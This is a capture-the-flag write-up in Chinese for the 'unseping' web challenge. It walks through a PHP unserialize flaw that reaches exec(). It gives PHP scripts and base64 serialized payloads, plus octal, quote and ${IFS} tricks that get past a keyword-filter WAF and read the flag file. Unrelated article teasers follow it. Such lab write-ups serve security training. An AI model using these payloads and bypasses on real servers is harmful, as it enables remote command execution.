攻防世界-web-unseping

题目

image.png
image.png

知识点

  • PHP代码审计
  • PHP序列化和反序列化
  • PHP中魔术方法
  • 命令执行绕过方式

解读源码

<?php
highlight_file(__FILE__);class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}function __destruct(){if (in_array($this->method, array("ping"))) {call_user_func_array(array($this, $this->method), $this->args);}} function ping($ip){exec($ip, $result);var_dump($result);}function waf($str){if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str;} else {echo "don't hack";}}function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v);}}   
}$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

这道题首先一上来就是一段PHP代码,其中看到unserialize()就知道考的是反序列化,但是我们再往上看代码会发现还有命令执行绕过的知识点。做出这道题的第一步就是能够理清代码执行顺序和各个函数的功能。接下来我们先分析一下源码。

__construct()

参考:https://www.runoob.com/php/func-simplexml-construct.html
这是一个构造函数,在实例化一个对象的时候,首先会去自动执行的一个方法。
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
image.png

__destruct()

参考:https://www.runoob.com/php/php-oop.html
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

in_array()

参考:https://www.runoob.com/php/func-array-in-array.html
image.png

all_user_func_array()

image.png

exec()

image.png
image.png

var_dump()

用于输出变量的详细信息,包括值和类型等
image.png
image.png image.png

preg_match_all()

参考:http://php.p2hp.com/manual/zh/function.preg-match-all.php
用于执行一个全局正则表达式匹配
image.png

__wakeup()

unserialize()会检查是否存在一个__wakeup()方法。如果存在,则会先调用__wakeup()方法,预先准备对象需要的资源。
预先准对象资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。

foreach()

image.png

解题

代码执行顺序:

  1. 以POST方式提交ctf
  2. 对提交的值进行base64解码
  3. 进行反序列化
  4. 然后执行__wakeup()函数
  5. 执行析构函数_destruct()

能够看懂代码之后我们就可以开始进行尝试。由于我们是需要查看当前目录,寻找一下是否有flag的文件提示,但是有一个waf函数进行过滤,所以我们不能直接传参为ls。这就需要我们的命令执行绕过方式了。

系列化

我们可以检验上面我们的思路是否正确。

<?php
class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}}$o=new ease("ping",array("ifconfig"));
$s = serialize($o);
echo base64_encode($s);
?>

image.png
运行结果:

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo4OiJpZmNvbmZpZyI7fX0=

将上述代码结果以post形式提交进去
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

这时候我们发现页面返回了结果:
image.png
这就说明我们整体思路是没有问题的,直接使用命令绕过方法寻找Flag。

命令绕过

上面检验命令是可以执行的,我们接下来思路就放在命令执行绕过过滤即可,寻找flag线索。

  • 单引号
  • 双引号
  • ${Z}

ls看文件/文件夹

<?php
class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}}$o=new ease("ping",array('l""s'));
$s = serialize($o);
echo base64_encode($s);
?>

结果为:

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==

将结果进行post传参数
image.png
得到结果:
image.png

看文件夹

看到了"flag_1s_here”文件夹,于是我们查看一下该文件夹下目录;于是执行命令"ls flag_1s_here";此处空格用${IFS}绕过。

<?php
class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}}$o=new ease("ping",array('l""s${IFS}f""lag_1s_here'));
$s = serialize($o);
echo base64_encode($s);
?>

结果为:

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==

将结果进行post传参image.png
看着没有返回东西,但是查看源代码就能发现有东西
image.png

查看flag文件

于是我们通过命令查看该文件;命令cat flag_1s_here/flag_831b69012c67b35f.php。
/绕过方式:利用oct编码(八进制)绕过;$(printf “\154\163”)//ls命令
通过python脚本实现oct绕过:

str1 = "cat flag_1s_here/flag_831b69012c67b35f.php"
arr = []
for i in str1:#对字符先转换为ASCII码,再转换为八进制r = oct(ord(i))#这个主要是为了将八进制前面的0o替换掉r=str(r).replace("0o","")arr.append(r)
s = "\\"
# print(arr)
#将所有的八进制组合,最终的结果第一个地方应该再添加一个\
p=s.join(arr)
print(p)

运行结果:

143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160

将其结果带入命令那执行,代码如下:

<?php
class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}}
$o=new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
$s = serialize($o);echo base64_encode($s);
?>

运行结果:

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319

post传参:
image.png
然后查看源代码:,得到了flag:
image.png

cyberpeace{40bf3edc1a1acafabd938372352a40f9}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/10396.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【算法】动态规划之背包DP问题(2024.5.11)

前言&#xff1a; 本系列是学习了董晓老师所讲的知识点做的笔记 董晓算法的个人空间-董晓算法个人主页-哔哩哔哩视频 (bilibili.com) 动态规划系列 【算法】动态规划之线性DP问题-CSDN博客 01背包 步骤&#xff1a; 分析容量j与w[i]的关系&#xff0c;然后分析是否要放…

户籍管理系统的设计与实现

【免费】户籍管理系统的设计与实现.zip资源-CSDN文库https://download.csdn.net/download/JW_559/89296790 ​​​​​​​户籍管理系统的设计与实现 摘 要 当今社会人们生活质量越来越高&#xff0c;人们对生活品质的追求不断提升&#xff0c;对于孩子求学&#xff0c;变更住…

Selenium中的隐式等待和显式等待

在Selenium中&#xff0c;“等待”在执行测试中起着重要作用。在本文中&#xff0c;您将学习Selenium中“隐式”和“显式”等待的各个方面。 在本文中&#xff0c;您将学习到 1. 为什么我们需要在selenium中等待&#xff1f; 2. 隐瞒等待 3. 明确等待 4. 流利的等待 为什么…

Join优化规则及应用层BI系统实践

目录 一、背景 二、查询优化器概述​编辑 2.1 System R Optimizer 2.2 Volcano Optimizer 2.3 Cascade Optimizer 三、Join相关优化规则 3.1 JoinReorder 3.1.1 少量表的Reorder 3.1.2 大量表的Reorder 3.1.3 星型模型的Reorder 3.2 外连接消除 3.3 Join消除 3.4 谓…

UDP多播

1 、多播的概念 多播&#xff0c;也被称为组播&#xff0c;是一种网络通信模式&#xff0c;其中数据的传输和接收仅在同一组内进行。多播具有以下特点&#xff1a; 多播地址标识一组接口&#xff1a;多播使用特定的多播地址&#xff0c;该地址标识一组接收数据的接口。发送到多…

[Vision Board创客营]--使用openmv识别阿尼亚

文章目录 [Vision Board创客营]使用openmv识别阿尼亚介绍环境搭建训练模型上传图片生成模型 使用结语 [Vision Board创客营]使用openmv识别阿尼亚 &#x1f680;&#x1f680;五一和女朋友去看了《间谍过家家 代号&#xff1a;白》&#xff0c;入坑二刺螈&#xff08;QQ头像也换…

小程序地理位置接口申请教程来啦4步学会

小程序地理位置接口有什么功能&#xff1f; 如果我们提审后驳回理由写了“当前提审小程序代码包中地理位置相关接口( chooseAddress、getLocation )暂未开通&#xff0c;建议完成接口开通后或移除接口相关内容后再进行后续版本提审”&#xff0c;如果你也碰到类似问题&#xff…

电火灶是燃气灶吗?节能、环保效果怎么样?

随着科技的进步&#xff0c;厨房中的传统设备也逐步被新型、高效且环保的设备所替代。电火灶&#xff0c;作为一种新型的电火烹饪设备&#xff0c;逐渐进入人们的视野。那么&#xff0c;电火灶是否与传统的燃气灶有所区别&#xff1f;其节能与环保效果又如何呢&#xff1f;下面…

2024.5.8 关于 SpringCloud —— Ribbon 的基本认知

目录 Ribbon 负载均衡原理 工作流程 Ribbon 负载均衡规则 Ribbon 负载均衡自定义化 代码方式修改规则 配置文件方式修改规则 小总结 Ribbon 设定饥饿加载 Ribbon 负载均衡原理 工作流程 order-service 使用 RestTemplate 发送请求&#xff0c;随后该请求将会被 Ribbon 所…

【强训笔记】day20

NO.1 思路&#xff1a;先判断能对砍几个回合&#xff0c;取最小值&#xff0c;因为回合数是整数&#xff0c;所以可能存在都大于0的情况&#xff0c;再判断一下如果都存活就再对砍一次&#xff0c;直到一家存活或者都死亡。 代码实现&#xff1a; #include<iostream>u…

土地档案管理关系参考论文(论文 + 源码)

【免费】javaEE土地档案管理系统.zip资源-CSDN文库https://download.csdn.net/download/JW_559/89296786 土地档案管理关系 摘 要 研究土地档案管理关系即为实现一个土地档案管理系统。土地档案管理系统是将现有的历史纸质档案资料进行数字化加工处理&#xff0c;建成标准化的…

TikTok海外运营:云手机的四种快速变现方法

随着TikTok用户基数的持续扩大&#xff0c;这个平台已成为全球创业者和品牌的新战场。其用户群接近20亿&#xff0c;并以年轻用户为主力军&#xff0c;市场渗透率逐年攀升。无论是大型组织、知名品牌&#xff0c;还是个人创业者&#xff0c;都无法忽视TikTok所带来的巨大商机。…

视频监控系统中,中心录像服务器的录像文件实际大小和理论值相差很大的问题解决

目录 一、现象描述 二、视频监控的录像文件计算 &#xff08;一&#xff09;计算方法 1、仅视频部分 2、视频和音频部分 3、使用平均码率 &#xff08;二&#xff09;计算工具 1、关注威迪斯特公众号 2、打开“计算容量”的小工具 三、原因分析 &#xff08;一&…

SharePoint 使用renderListDataAsStream方法查询list超过5000时的数据

问题&#xff1a; 当SharePoint List里的数据超过5000时&#xff0c;如果使用常用的rest api去获取数据&#xff0c;例如 await this.sp.web.lists.getByTitle(Document Library).rootFolder.files.select(*, listItemAllFields).expand(listItemAllFields).filter(listItemA…

Python多线程与互斥锁模拟抢购余票的示例

一、示例代码&#xff1a; from threading import Thread from threading import Lock import timen 100 # 共100张票def task():global nmutex.acquire() # 上锁temp ntime.sleep(0.1)n temp - 1print(购票成…

语音网关有哪些?

语音网关是一种网络设备&#xff0c;它使得通过传统的电话网络&#xff08;如公共交换电话网络&#xff0c;PSTN&#xff09;和现代的数据网络&#xff08;如互联网或私有数据网络&#xff09;进行的语音通信成为可能。语音网关的主要作用是在模拟或数字电话信号与数据网络的数…

论文 学习 Transformer : Attention Is All You Need

目录 概述&#xff1a; 对摘要的理解&#xff1a; 框架解析 按比例缩放的点积注意力 多头注意力机制 前馈神经网络与位置编码 概述&#xff1a; transformer 是一个encoder ——decoder 结构的用于处理序列到序列转换任务的框架&#xff0c;是第一个完全依赖自注意力机制…

1分钟搞定Pandas DataFrame创建与索引

1.DataFrame介绍 DataFrame 是一个【表格型】的数据结构,可以看作是【由Series组成的字典】(共用同一个索引)。DataFrame 由按一定顺序排列的多列数据组成。设计初衷是将 Series 的使用场景从一维扩展到多维。DataFrame 既有行索引,也有列索引。 行索引:index 列索引:co…

2万字干货:如何从0到1搭建一套会员体系(2)

2.用户等级 还是一样&#xff0c;我们为什么要搭建用户等级&#xff1f; 一个国家有几亿人口的时候你怎么来管理&#xff1f;老祖宗秦始皇给出了我们答案&#xff1a;郡县制。发展到现在则演进成了省-市-区县-乡镇(街道)-村(社区)5层行政治理结构。 产品同理&#xff0c;当你…

贪心算法----摆动序列

今日题目&#xff1a;leetcode376 点击跳转题目 观察样例2&#xff1a; 发现最长摆动序列都是极大值和极小值 再加上两个端点&#xff0c;那么我们保证每次都能选择到每个极值点&#xff0c;就能从局部最优推广全局最优了&#xff01; 但是还有一些细节情况需要注意&#xff…